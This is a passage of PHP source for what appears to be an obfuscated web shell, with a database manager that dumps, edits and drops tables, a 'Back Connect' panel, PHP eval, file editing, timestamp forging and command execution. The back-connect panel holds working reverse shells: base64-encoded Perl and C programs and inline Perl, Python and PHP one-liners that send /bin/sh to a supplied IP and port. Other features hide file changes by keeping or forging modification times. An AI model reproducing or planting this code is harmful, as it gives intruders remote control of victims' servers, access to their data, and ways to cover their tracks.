        if (!$aa) {
            m('Please choose the table');
        } else {
            mydbconn($bb, $cc, $dd, $ee, $o, $ff);
            $aa = array_flip($aa);
            $kkkk = @fopen($hhh, 'w');
            if ($kkkk) {
                $bbbb = q('SHOW tables');
                if (!$bbbb) p('<h2>' . mysql_error() . '</h2>');
                $dddd = '';
                while ($eeee = mysql_fetch_array($bbbb)) {
                    if (isset($aa[$eeee[0]])) {
                        sqldumptable($eeee[0], $kkkk);
                    }
                }
                fclose($kkkk);
                $qqqqq = str_replace(SA_ROOT, '', $hhh);
                m('Database has success backup to <a href="' . $qqqqq . '" target="_blank">' . $hhh . '</a>');
                mysql_close();
            } else {
                m('Backup failed');
            }
        }
    }
    if ($iii && $jjj) {
        $ttttt = $uuuuu = $vvvvv = '';
        foreach ($jjj as $lllll => $wwwww) {
            if ($wwwww) {
                $ttttt.= $vvvvv . $lllll;
                $uuuuu.= $vvvvv . "'" . addslashes($wwwww) . "'";
                $vvvvv = ',';
            }
        }
        if ($ttttt && $uuuuu) {
            mydbconn($bb, $cc, $dd, $ee, $o, $ff);
            m(q("INSERT INTO $mmm ($ttttt) VALUES ($uuuuu)") ? 'Insert new record of success' : mysql_error());
        }
    }
    if ($kkk && $jjj && $lll) {
        $uuuuu = $vvvvv = '';
        foreach ($jjj as $lllll => $wwwww) {
            $uuuuu.= $vvvvv . $lllll . "='" . addslashes($wwwww) . "'";
            $vvvvv = ',';
        }
        if ($uuuuu) {
            $xxxxx = base64_decode($lll);
            mydbconn($bb, $cc, $dd, $ee, $o, $ff);
            m(q("UPDATE $mmm SET $uuuuu WHERE $xxxxx LIMIT 1") ? 'Record updating' : mysql_error());
        }
    }
    if ($u == 'del' && $lll) {
        $xxxxx = base64_decode($lll);
        $yyyyy = "DELETE FROM $mmm WHERE $xxxxx";
        mydbconn($bb, $cc, $dd, $ee, $o, $ff);
        m(q("DELETE FROM $mmm WHERE $xxxxx") ? 'Deletion record of success' : mysql_error());
    }
    if ($mmm && $u == 'drop') {
        mydbconn($bb, $cc, $dd, $ee, $o, $ff);
        if (q("DROP TABLE $mmm")) {
            m('Drop table of success');
            $mmm = '';
        } else {
            m(mysql_error());
        }
    }
    formhead(array('title' => 'MYSQL Manager'));
    makehide('action', 'mysqladmin');
    p('<p>');
    p('DBHost:');
    makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $bb));
    p(':');
    makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $ff));
    p('DBUser:');
    makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $cc));
    p('DBPass:');
    makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dd));
    p('DBCharset:');
    makeselect(array('name' => 'charset', 'option' => $n, 'selected' => $o, 'nokey' => 1));
    makeinput(array('name' => 'connect', 'value' => 'Connect', 'type' => 'submit', 'class' => 'bt'));
    p('</p>');
    formfoot(); ?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {		
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>
<?php
    formhead(array('name' => 'recordlist'));
    makehide('doing');
    makehide('action', 'mysqladmin');
    makehide('base64');
    makehide('tablename');
    p($sssss);
    formfoot();
    formhead(array('name' => 'setdbname'));
    makehide('action', 'mysqladmin');
    p($sssss);
    if (!$ee) {
        makehide('dbname');
    }
    formfoot();
    formhead(array('name' => 'settable'));
    makehide('action', 'mysqladmin');
    p($sssss);
    makehide('tablename');
    makehide('page', $nnn);
    makehide('doing');
    formfoot();
    $zzzzz = array();
    $aaaaaa = 30;
    $nnn = intval($nnn);
    if ($nnn) {
        $bbbbbb = ($nnn - 1) * $aaaaaa;
    } else {
        $bbbbbb = 0;
        $nnn = 1;
    }
    if (isset($bb) && isset($cc) && isset($dd) && isset($gg)) {
        mydbconn($bb, $cc, $dd, $ee, $o, $ff);
        $cccccc = mysql_get_server_info();
        p('<p>MySQL ' . $cccccc . ' running in ' . $bb . ' as ' . $cc . '@' . $bb . '</p>');
        $dddddd = $cccccc > '4.1' ? 1 : 0;
        $eeeeee = q("SHOW DATABASES");
        $ffffff = array();
        $ffffff[] = '-- Select a database --';
        while ($gggggg = mysql_fetch_array($eeeeee)) {
            $ffffff[$gggggg['Database']] = $gggggg['Database'];
        }
        makeselect(array('title' => 'Please select a database:', 'name' => 'db[]', 'option' => $ffffff, 'selected' => $ee, 'onchange' => 'moddbname(this.options[this.selectedIndex].value)', 'newline' => 1));
        $hhhhhh = array();
        if ($ee) {
            p('<p>');
            p('Current dababase: <a href="javascript:moddbname(\'' . $ee . '\');">' . $ee . '</a>');
            if ($mmm) {
                p(' | Current Table: <a href="javascript:settable(\'' . $mmm . '\');">' . $mmm . '</a> [ <a href="javascript:settable(\'' . $mmm . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $mmm . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $mmm . '\', \'drop\');">Drop</a> ]');
            }
            p('</p>');
            mysql_select_db($ee);
            $iiiiii = '';
            $jjjjjj = 0;
            if ($ooo) {
                $jjjjjj = 1;
            }
            $kkkkkk = 0;
            if ($mmm && !$ooo) {
                $ooo = "SELECT * FROM $mmm";
                $iiiiii = $ooo;
                $ooo = $ooo . " LIMIT $bbbbbb, $aaaaaa";
                $kkkkkk = 1;
            }
            p('<form action="' . $p . '" method="POST">');
            p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database ' . $ee . ':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($ooo, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
            makehide('tablename', $mmm);
            makehide('action', 'mysqladmin');
            p($sssss);
            p('</form>');
            if ($mmm || ($jjjjjj && $ooo)) {
                if ($u == 'structure') {
                    $bbbb = q("SHOW COLUMNS FROM $mmm");
                    $llllll = array();
                    while ($ffff = mysql_fetch_array($bbbb)) {
                        $llllll[] = $ffff;
                    }
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    p('<tr class="head">');
                    p('<td>Field</td>');
                    p('<td>Type</td>');
                    p('<td>Null</td>');
                    p('<td>Key</td>');
                    p('<td>Default</td>');
                    p('<td>Extra</td>');
                    p('</tr>');
                    foreach ($llllll as $ffff) {
                        $ooooo = bg();
                        p('<tr class="' . $ooooo . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $ooooo . '\';">');
                        p('<td>' . $ffff['Field'] . '</td>');
                        p('<td>' . $ffff['Type'] . '</td>');
                        p('<td>' . $ffff['Null'] . '&nbsp;</td>');
                        p('<td>' . $ffff['Key'] . '&nbsp;</td>');
                        p('<td>' . $ffff['Default'] . '&nbsp;</td>');
                        p('<td>' . $ffff['Extra'] . '&nbsp;</td>');
                        p('</tr>');
                    }
                    tbfoot();
                } elseif ($u == 'insert' || $u == 'edit') {
                    $bbbb = q('SHOW COLUMNS FROM ' . $mmm);
                    while ($ffff = mysql_fetch_array($bbbb)) {
                        $llllll[] = $ffff;
                    }
                    $mmmmmm = array();
                    if ($u == 'insert') {
                        p('<h2>Insert new line in ' . $mmm . ' table &raquo;</h2>');
                    } else {
                        p('<h2>Update record in ' . $mmm . ' table &raquo;</h2>');
                        $xxxxx = base64_decode($lll);
                        $bbbb = q("SELECT * FROM $mmm WHERE $xxxxx LIMIT 1");
                        $mmmmmm = mysql_fetch_array($bbbb);
                    }
                    p('<form method="post" action="' . $p . '">');
                    p($sssss);
                    makehide('action', 'mysqladmin');
                    makehide('tablename', $mmm);
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    foreach ($llllll as $ffff) {
                        if ($mmmmmm[$ffff['Field']]) {
                            $qqqq = htmlspecialchars($mmmmmm[$ffff['Field']]);
                        } else {
                            $qqqq = '';
                        }
                        $ooooo = bg();
                        p('<tr class="' . $ooooo . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $ooooo . '\';">');
                        if ($ffff['Key'] == 'UNI' || $ffff['Extra'] == 'auto_increment' || $ffff['Key'] == 'PRI') {
                            p('<td><b>' . $ffff['Field'] . '</b><br />' . $ffff['Type'] . '</td><td>' . $qqqq . '&nbsp;</td></tr>');
                        } else {
                            p('<td><b>' . $ffff['Field'] . '</b><br />' . $ffff['Type'] . '</td><td><textarea class="area" name="insertsql[' . $ffff['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $qqqq . '</textarea></td></tr>');
                        }
                    }
                    if ($u == 'insert') {
                        p('<tr class="' . bg() . '"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
                    } else {
                        p('<tr class="' . bg() . '"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
                        makehide('base64', $lll);
                    }
                    p('</table></form>');
                } else {
                    $nnnnnn = @explode(";\n", $ooo);
                    $nnnnnn = @explode(";\r", $ooo);
                    foreach ($nnnnnn as $oooooo => $eeeeee) {
                        if ($eeeeee) {
                            p("<p><b>Query#{$oooooo} : " . htmlspecialchars($eeeeee, ENT_QUOTES) . "</b></p>");
                            switch (qy($eeeeee)) {
                                case 0:
                                    p('<h2>Error : ' . mysql_error() . '</h2>');
                                break;
                                case 1:
                                    if (strtolower(substr($eeeeee, 0, 13)) == 'select * from') {
                                        $kkkkkk = 1;
                                    }
                                    if ($iiiiii) {
                                        $pppppp = mysql_num_rows(q($iiiiii));
                                        $qqqqqq = multi($pppppp, $aaaaaa, $nnn, $mmm);
                                    }
                                    if (!$mmm) {
                                        $rrrrrr = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($eeeeee)));
                                        $rrrrrr = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $rrrrrr);
                                        preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $rrrrrr, $ssssss);
                                        $mmm = $ssssss[1][0];
                                    }
                                    $tttttt = q("SHOW COLUMNS FROM $mmm");
                                    $llllll = array();
                                    $uuuuuu = '';
                                    while ($ffff = @mysql_fetch_assoc($tttttt)) {
                                        $llllll[$ffff['Field']]['Key'] = $ffff['Key'];
                                        $llllll[$ffff['Field']]['Extra'] = $ffff['Extra'];
                                        if ($ffff['Key'] == 'UNI' || $ffff['Key'] == 'PRI') {
                                            $uuuuuu = $ffff['Field'];
                                        }
                                    }
                                    if (strtolower(substr($eeeeee, 0, 13)) == 'select * from') {
                                        $eeeeee = str_replace(" LIMIT ", " order by $uuuuuu DESC LIMIT ", $eeeeee);
                                    }
                                    $bbbb = q($eeeeee);
                                    p($qqqqqq);
                                    p('<table border="0" cellpadding="3" cellspacing="0">');
                                    p('<tr class="head">');
                                    if ($kkkkkk) p('<td>Action</td>');
                                    $vvvvvv = @mysql_num_fields($bbbb);
                                    for ($wwwwww = 0;$wwwwww < $vvvvvv;$wwwwww++) {
                                        $xxxxxx = @mysql_field_name($bbbb, $wwwwww);
                                        $yyyyyy = @mysql_field_type($bbbb, $wwwwww);
                                        $zzzzzz = @mysql_field_len($bbbb, $wwwwww);
                                        p("<td nowrap>$xxxxxx<br><span>$yyyyyy($zzzzzz)" . (($llllll[$xxxxxx]['Key'] == 'UNI' || $llllll[$xxxxxx]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '') . ($llllll[$xxxxxx]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '') . "</span></td>");
                                    }
                                    p('</tr>');
                                    while ($aaaaaaa = @mysql_fetch_assoc($bbbb)) {
                                        $ooooo = bg();
                                        p('<tr class="' . $ooooo . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $ooooo . '\';">');
                                        $xxxxx = $vvvvv = $bbbbbbb = '';
                                        foreach ($aaaaaaa as $lllll => $ccccccc) {
                                            if ($ccccccc) {
                                                if ($llllll[$lllll]['Key'] == 'UNI' || $llllll[$lllll]['Extra'] == 'auto_increment' || $llllll[$lllll]['Key'] == 'PRI') {
                                                    $xxxxx = $lllll . "='" . addslashes($ccccccc) . "'";
                                                    break;
                                                }
                                                $xxxxx.= $vvvvv . $lllll . "='" . addslashes($ccccccc) . "'";
                                                $vvvvv = ' AND ';
                                            }
                                        }
                                        foreach ($aaaaaaa as $lllll => $ccccccc) {
                                            $bbbbbbb.= '<td nowrap>' . html_clean($ccccccc) . '&nbsp;</td>';
                                        }
                                        $xxxxx = base64_encode($xxxxx);
                                        if ($kkkkkk) p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $xxxxx . '\', \'' . $mmm . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $xxxxx . '\', \'' . $mmm . '\');">Del</a></td>');
                                        p($bbbbbbb);
                                        p('</tr>');
                                        unset($bbbbbbb);
                                    }
                                    tbfoot();
                                    p($qqqqqq);
                                    break;
                                case 2:
                                    $ddddddd = mysql_affected_rows();
                                    p('<h2>affected rows : <b>' . $ddddddd . '</b></h2>');
                                    break;
                                }
                            }
                    }
                }
            } else {
                $eeeeee = q("SHOW TABLE STATUS");
                $eeeeeee = $fffffff = $ggggggg = 0;
                $hhhhhh = array();
                while ($aa = mysql_fetch_array($eeeeee)) {
                    $ggggggg = $ggggggg + $aa['Data_length'];
                    $fffffff = $fffffff + $aa['Rows'];
                    $aa['Data_length'] = sizecount($aa['Data_length']);
                    $eeeeeee++;
                    $hhhhhh[] = $aa;
                }
                $ggggggg = sizecount($ggggggg);
                unset($aa);
                p('<table border="0" cellpadding="0" cellspacing="0">');
                p('<form action="' . $p . '" method="POST">');
                makehide('action', 'mysqladmin');
                p($sssss);
                p('<tr class="head">');
                p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
                p('<td>Name</td>');
                p('<td>Rows</td>');
                p('<td>Data_length</td>');
                p('<td>Create_time</td>');
                p('<td>Update_time</td>');
                if ($dddddd) {
                    p('<td>Engine</td>');
                    p('<td>Collation</td>');
                }
                p('<td>Operate</td>');
                p('</tr>');
                foreach ($hhhhhh as $lllll => $aa) {
                    $ooooo = bg();
                    p('<tr class="' . $ooooo . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $ooooo . '\';">');
                    p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $aa['Name'] . '" /></td>');
                    p('<td><a href="javascript:settable(\'' . $aa['Name'] . '\');">' . $aa['Name'] . '</a></td>');
                    p('<td>' . $aa['Rows'] . '</td>');
                    p('<td>' . $aa['Data_length'] . '</td>');
                    p('<td>' . $aa['Create_time'] . '&nbsp;</td>');
                    p('<td>' . $aa['Update_time'] . '&nbsp;</td>');
                    if ($dddddd) {
                        p('<td>' . $aa['Engine'] . '</td>');
                        p('<td>' . $aa['Collation'] . '</td>');
                    }
                    p('<td><a href="javascript:settable(\'' . $aa['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $aa['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $aa['Name'] . '\', \'drop\');">Drop</a></td>');
                    p('</tr>');
                }
                p('<tr class=' . bg() . '>');
                p('<td>&nbsp;</td>');
                p('<td>Total tables: ' . $eeeeeee . '</td>');
                p('<td>' . $fffffff . '</td>');
                p('<td>' . $ggggggg . '</td>');
                p('<td colspan="' . ($dddddd ? 5 : 3) . '">&nbsp;</td>');
                p('</tr>');
                p("<tr class=\"" . bg() . "\"><td colspan=\"" . ($dddddd ? 9 : 7) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
                makehide('doing', 'backupmysql');
                formfoot();
                p("</table>");
                fr($eeeeee);
            }
        }
    }
    tbfoot();
    @mysql_close();
} elseif ($t == 'backconnect') {
    !$ppp && $ppp = $_SERVER['REMOTE_ADDR'];
    !$qqq && $qqq = '12345';
    $hhhhhhh = array('perl' => 'perl', 'c' => 'c', 'python' => 'python', 'php' => 'php');
    $iiiiiii = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $jjjjjjj = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    if ($rrr && $ppp && $qqq && $sss) {
        if ($sss == 'perl') {
            $kkkkkkk = 'use Socket;$i="' . $ppp . '";$p=' . $qqq . ';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
            $lllllll = execute(which('perl') . " -e '$kkkkkkk' &");
        } else if ($sss == 'c') {
            cf('/tmp/angel_bc.c', $jjjjjjj);
            $lllllll = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
            @unlink('/tmp/angel_bc.c');
            $lllllll = execute("/tmp/angel_bc $ppp $qqq &");
        } else if ($sss == 'python') {
            $mmmmmmm = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' . $ppp . '",' . $qqq . '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
            $lllllll = execute(which('python') . " -c '$mmmmmmm' &");
        } else if ($sss == 'php') {
            $nnnnnnn = '$sock=fsockopen("' . $ppp . '",' . $qqq . ');exec("/bin/sh -i <&3 >&3 2>&3");';
            $lllllll = execute(which('php') . " -r '$nnnnnnn' &");
        }
        m("Now script try connect to $ppp port $qqq ...");
    }
    formhead(array('title' => 'Back Connect'));
    makehide('action', 'backconnect');
    p('<p>');
    p('Your IP:');
    makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $ppp));
    p('Your Port:');
    makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $qqq));
    p('Use:');
    makeselect(array('name' => 'use', 'option' => $hhhhhhh, 'selected' => $sss));
    makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
    p('</p>');
    formfoot();
} elseif ($t == 'eval') {
    $ttt = trim($ttt);
    if ($ttt) {
        if (!preg_match('#<\?#si', $ttt)) {
            $ttt = "<?php\n\n{$ttt}\n\n?>";
        }
        eval("?" . ">$ttt<?");
    }
    formhead(array('title' => 'Eval PHP Code'));
    makehide('action', 'eval');
    maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'value' => $ttt));
    p('<p><a href="http://www.ghm.net/hgmshell/plugin/" target="_blank">Get plugins</a></p>');
    formfooter();
} elseif ($t == 'editfile') {
    if (file_exists($uuu)) {
        $kkkk = @fopen($uuu, 'r');
        $rrrrr = @fread($kkkk, filesize($uuu));
        @fclose($kkkk);
        $rrrrr = htmlspecialchars($rrrrr);
    }
    formhead(array('title' => 'Create / Edit File'));
    makehide('action', 'file');
    makehide('dir', $gggg);
    makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $uuu, 'newline' => 0));
    maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $rrrrr));
    makeinput(array('title' => 'is keep original mtime?', 'name' => 'iskeepmtime', 'value' => 'true', 'newline' => 0, 'type' => 'checkbox', 'checked' => 'checked'));
    formfooter();
    goback();
} elseif ($t == 'newtime') {
    $ooooooo = @filemtime($uuu);
    $ppppppp = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
    formhead(array('title' => 'Clone file was last modified time'));
    makehide('action', 'file');
    makehide('dir', $gggg);
    makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $uuu, 'size' => 120, 'newline' => 1));
    makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'value' => substr($uuu, 0, strrpos($uuu, "/") + 1), 'size' => 120, 'newline' => 1));
    formfooter();
    formhead(array('title' => 'Set last modified'));
    makehide('action', 'file');
    makehide('dir', $gggg);
    makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $uuu, 'size' => 120, 'newline' => 1));
    p('<p>Instead &raquo;');
    p('year:');
    makeinput(array('name' => 'year', 'value' => date('Y', $ooooooo), 'size' => 4));
    p('month:');
    makeinput(array('name' => 'month', 'value' => date('m', $ooooooo), 'size' => 2));
    p('day:');
    makeinput(array('name' => 'day', 'value' => date('d', $ooooooo), 'size' => 2));
    p('hour:');
    makeinput(array('name' => 'hour', 'value' => date('H', $ooooooo), 'size' => 2));
    p('minute:');
    makeinput(array('name' => 'minute', 'value' => date('i', $ooooooo), 'size' => 2));
    p('second:');
    makeinput(array('name' => 'second', 'value' => date('s', $ooooooo), 'size' => 2));
    p('</p>');
    formfooter();
    goback();
} elseif ($t == 'shell') {
    if (IS_WIN && IS_COM) {
        if ($www && $vvv) {
            $qqqqqqq = new COM('Shell.Application');
            $rrrrrrr = $qqqqqqq->ShellExecute($www, $vvv);
            m('Program run has ' . (!$rrrrrrr ? 'success' : 'fail'));
        }
        !$www && $www = 'c:\windows\system32\cmd.exe';
        !$vvv && $vvv = '/c net start > ' . SA_ROOT . 'log.txt';
        formhead(array('title' => 'Execute Program'));
        makehide('action', 'shell');
        makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $www, 'newline' => 1));
        p('<p>');
        makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $vvv));
        makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
        p('</p>');
        formfoot();
    }
    formhead(array('title' => 'Execute Command'));
    makehide('action', 'shell');
    if (IS_WIN && IS_COM) {
        $sssssss = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
        makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $sssssss, 'selected' => $yyy, 'newline' => 1));
    }
    p('<p>');
    makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $xxx));
    makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
    p('</p>');
    formfoot();
    if ($xxx) {
        p('<hr width="100%" noshade /><pre>');
        if ($yyy == 'wscript' && IS_WIN && IS_COM) {
            $ttttttt = new COM('WScript.shell');
            $uuuuuuu = $ttttttt->exec('cmd.exe /c ' . $xxx);
            $vvvvvvv = $uuuuuuu->StdOut();
            $wwwwwww = $vvvvvvv->ReadAll();
            echo $wwwwwww;
        } elseif ($yyy == 'proc_open' && IS_WIN && IS_COM) {
            $xxxxxxx = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
            $yyyyyyy = proc_open($_SERVER['COMSPEC'], $xxxxxxx, $zzzzzzz);
            if (is_resource($yyyyyyy)) {
                fwrite($zzzzzzz[0], $xxx . "\r\n");
                fwrite($zzzzzzz[0], "exit\r\n");
                fclose($zzzzzzz[0]);
                while (!feof($zzzzzzz[1])) {
                    echo fgets($zzzzzzz[1], 1024);
                }
                fclose($zzzzzzz[1]);
                while (!feof($zzzzzzz[2])) {
                    echo fgets($zzzzzzz[2], 1024);
                }
                fclose($zzzzzzz[2]);
                proc_close($yyyyyyy);
            }
        } else {
            echo (execute($xxx));
        }
        p('</pre>');
    }
} elseif ($t == 'phpenv') {
    $aaaaaaaa = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    $bbbbbbbb = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    !$e && $e = 'No';
    $cccccccc = array(1 => array('Server Time', date('Y/m/d h:i:s', $q)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', __FILE__), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', (IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $bbbbbbbb), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $aaaaaaaa), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $e),);
    if ($zzz) {
        m($zzz . ' : ' . getcfg($zzz));
    }
    formhead(array('title' => 'Server environment'));
    makehide('action', 'phpenv');
    makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $zzz, 'newline' => 1));
    formfooter();
    $dddddddd = array(0 => 'Server', 1 => 'PHP');
    for ($rrrrrrr = 0;$rrrrrrr < 2;$rrrrrrr++) {
        p('<h2>' . $dddddddd[$rrrrrrr] . ' &raquo;</h2>');
        p('<ul class="info">');
        if ($rrrrrrr == 0) {
            for ($wwwwww = 1;$wwwwww <= 9;$wwwwww++) {
                p('<li><u>' . $cccccccc[$wwwwww][0] . ':</u>' . $cccccccc[$wwwwww][1] . '</li>');
            }
        } elseif ($rrrrrrr == 1) {
            for ($wwwwww = 10;$wwwwww <= 23;$wwwwww++) {
                p('<li><u>' . $cccccccc[$wwwwww][0] . ':</u>' . $cccccccc[$wwwwww][1] . '</li>');
            }
        }
        p('</ul>');
    }
} else {
    m('Undefined Action');
} ?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;"><?php debuginfo();
ob_end_flush(); ?></span>
	Copyright (C) 2014 <a href="https://www.google.com/?gws_rd=ssl#newwindow=1&q=sd+fun+aki" target="_blank">sd fun aki</a> All Rights Reserved.
